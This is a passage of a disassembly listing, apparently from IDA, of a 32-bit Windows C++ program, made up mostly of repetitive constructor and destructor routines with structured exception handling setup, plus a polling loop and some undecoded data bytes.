[esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_401AD2 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_401AD2 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_401AD2 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_401AD2 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_401AD2 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_401AD2 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_401AD2 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_401AD2 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_401AD2 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_401AD2 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_401AD2 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_401AD2 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_401AD2 mov byte ptr [esp+14h+var_4], 1 lea ecx, [esi+9Bh] call sub_401AD2 lea ecx, [esi+52h] mov byte ptr [esp+14h+var_4], 0 call sub_401AD2 lea ecx, [esi+9] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AD2 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417020 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417540 proc near ; CODE XREF: sub_4014F1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417540 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0A3h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417540 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4175E0 proc near ; CODE XREF: sub_401E83j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4175E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+118h] mov [esp+14h+var_4], 5 call sub_401023 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4175E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4176B0 proc near ; CODE XREF: sub_401235j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4176B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8D0C0h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+8D036h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+8D008h] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4176B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417770 proc near ; CODE XREF: sub_402216j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417770 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417830 proc near ; CODE XREF: sub_401EB0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417830 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417830 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4178F0 proc near ; CODE XREF: sub_4018CAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4178F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4178F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417960 proc near ; CODE XREF: sub_4017D0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417960 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417960 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4179D0 proc near ; CODE XREF: sub_401B27j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4179D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4179D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A40 proc near ; CODE XREF: sub_401F28j add ecx, 4 jmp sub_401023 sub_417A40 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A60 proc near ; CODE XREF: sub_401113j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+60h] mov [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417A60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417AE0 proc near ; CODE XREF: sub_401DEDj add ecx, 4 jmp sub_401023 sub_417AE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B00 proc near ; CODE XREF: sub_401FF5j add ecx, 4 jmp sub_401023 sub_417B00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B20 proc near ; CODE XREF: sub_401EE2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417B20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0BCh] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417B20 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417BC0 proc near ; CODE XREF: sub_40157Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417BC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0A3h] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E078 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417BC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C60 proc near ; CODE XREF: sub_401645j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417C60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 lea ecx, [esi+118h] mov byte ptr [esp+14h+var_4], 5 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E07C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417C60 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417D30 proc near ; CODE XREF: sub_401776j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417D30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+8D008h] call sub_401749 lea ecx, [esi+8D036h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+8D0C0h] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E080 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417D30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417DF0 proc near ; CODE XREF: sub_401820j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E050 mov eax, esi pop esi retn sub_417DF0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E20 proc near ; CODE XREF: sub_4016B3j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E05C mov eax, esi pop esi retn sub_417E20 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E50 proc near ; CODE XREF: sub_401415j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417E50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E084 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417E50 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F10 proc near ; CODE XREF: sub_401302j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417F10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E088 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417F10 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417FD0 proc near ; CODE XREF: sub_401271j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417FD0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E08C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417FD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418050 proc near ; CODE XREF: sub_401D11j push esi mov esi, ecx call sub_4011B3 mov dword ptr [esi], offset nullsub_10 mov eax, esi pop esi retn sub_418050 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418080 proc near ; CODE XREF: sub_4012FDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418080 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E094 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418080 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418100 proc near ; CODE XREF: sub_401A7Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418100 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E098 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418100 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418180 proc near ; CODE XREF: sub_401285j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E09C mov eax, esi pop esi retn sub_418180 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4181B0 proc near ; CODE XREF: sub_401CA3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4181B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0A0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4181B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418230 proc near ; CODE XREF: sub_401573j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E0A4 mov eax, esi pop esi retn sub_418230 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418260 proc near ; CODE XREF: sub_40178Fj push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E0A8 mov eax, esi pop esi retn sub_418260 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418290 proc near ; CODE XREF: sub_401073j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418290 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0AC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418290 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418330 proc near ; CODE XREF: sub_401267j var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch push ebx push ebp mov ebp, dword_50F8D0 push esi mov esi, ecx push edi xor bl, bl mov byte ptr [esi+9FD2Ch], 1 loc_418348: ; CODE XREF: sub_418330+E4j test bl, bl jnz loc_41841E mov al, [esi+8EF74h] test al, al jnz short loc_41835E mov bl, 1 jmp short loc_418372 ; --------------------------------------------------------------------------- loc_41835E: ; CODE XREF: sub_418330+28j lea ecx, [esi+15Fh] call sub_40185C test al, al setz bl test bl, bl jz short loc_418379 loc_418372: ; CODE XREF: sub_418330+2Cj mov byte ptr [esi+9FD2Ch], 0 loc_418379: ; CODE XREF: sub_418330+40j lea ecx, [esp+1Ch+var_C] call sub_402086 lea edi, [esi+9FD83h] lea eax, [esp+1Ch+var_4] push eax mov ecx, edi call sub_401F4B mov ecx, [eax] lea edx, [esp+1Ch+var_8] mov [esp+1Ch+var_C], ecx push edx mov ecx, edi call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_4016F9 test al, al jz short loc_4183FE loc_4183B4: ; CODE XREF: sub_418330+CCj lea ecx, [esp+1Ch+var_C] call sub_402211 mov ecx, [eax] call sub_401744 lea ecx, [esp+1Ch+var_C] call sub_402211 mov eax, [eax] test eax, eax jz short loc_4183DB mov edx, [eax] push 1 mov ecx, eax call dword ptr [edx] loc_4183DB: ; CODE XREF: sub_418330+A1j lea ecx, [esp+1Ch+var_C] call sub_401361 lea eax, [esp+1Ch+var_8] mov ecx, edi push eax call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_4016F9 test al, al jnz short loc_4183B4 loc_4183FE: ; CODE XREF: sub_418330+82j mov ecx, edi call sub_4010B9 push 0FAh call ebp mov al, [esi+9FD2Ch] test al, al jnz loc_418348 test bl, bl jz short loc_41842B loc_41841E: ; CODE XREF: sub_418330+1Aj pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41842B: ; CODE XREF: sub_418330+ECj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 0Ch retn sub_418330 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418490 proc near ; CODE XREF: sub_401767j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_418490 push eax mov large fs:0, esp sub esp, 1A8h push ebx push ebp push esi mov esi, ecx push edi mov ecx, offset byte_4E6EDB mov byte ptr [esi+9FD2Ch], 1 call sub_4010B9 mov eax, [esp+1C4h+arg_4] test eax, eax jz short loc_4184D0 push eax jmp short loc_4184D5 ; --------------------------------------------------------------------------- loc_4184D0: ; CODE XREF: sub_418490+3Bj push offset byte_446F70 loc_4184D5: ; CODE XREF: sub_418490+3Ej lea ecx, [esi+9FD57h] call sub_4015D7 mov edi, [esp+1C4h+arg_0] test edi, edi jz short loc_4184EE push edi jmp short loc_4184F3 ; --------------------------------------------------------------------------- loc_4184EE: ; CODE XREF: sub_418490+59j push offset byte_446F70 loc_4184F3: ; CODE XREF: sub_418490+5Cj lea ecx, [esi+9FD6Ch] call sub_4015D7 push edi lea ecx, [esi+3Eh] call sub_401384 sub_418490 endp ; --------------------------------------------------------------------------- db 8Ah dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE945CE8h dd 244C8DFFh, 2685128h, 0E8000002h, 7169E121h, 8F88E890h dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh dd 680050F8h, 3E8h, 0CF8BD3FFh, 0FE8CB3E8h, 3E868FFh, 0D3FF0000h dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh, 868AFFFEh dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh dd 0E8006A08h, 7782185Eh, 98C6E890h, 8E8DFFFEh, 168h, 0FE91B3E8h dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh dd 84C70009h, 1C424h, 0 dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh dd 8F2478Eh, 8D52E800h, 8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh dd 9FA138Eh, 9046E800h, 8E8DFFFEh, 8F3A2h, 0FE9B26E8h dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h dd 9FC428Eh, 9889E800h, 0CF8BFFFEh, 0FE896EE8h, 0BF8E8DFFh dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h dd 9FAD38Eh, 9802E800h, 8E8DFFFEh, 9FB93h, 0FE925CE8h dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 90FFFE93h, 69BCE3E8h dd 42468A71h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- locret_418840: ; CODE XREF: ___:00402202j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_418860: ; CODE XREF: ___:00401EC4j mov eax, [esp+0Ch] push 0 push eax mov ecx, offset dword_447158 call sub_401767 ; --------------------------------------------------------------------------- retn 10h ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418890 proc near ; CODE XREF: sub_401B09j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4021BC mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401622 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40142E mov edx, [esi+4] mov ecx, esi push edx call sub_4020E5 sub_418890 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418900 proc near ; CODE XREF: sub_401AFAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40139D sub_418900 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418940 proc near ; CODE XREF: sub_4021DAj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F4B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call 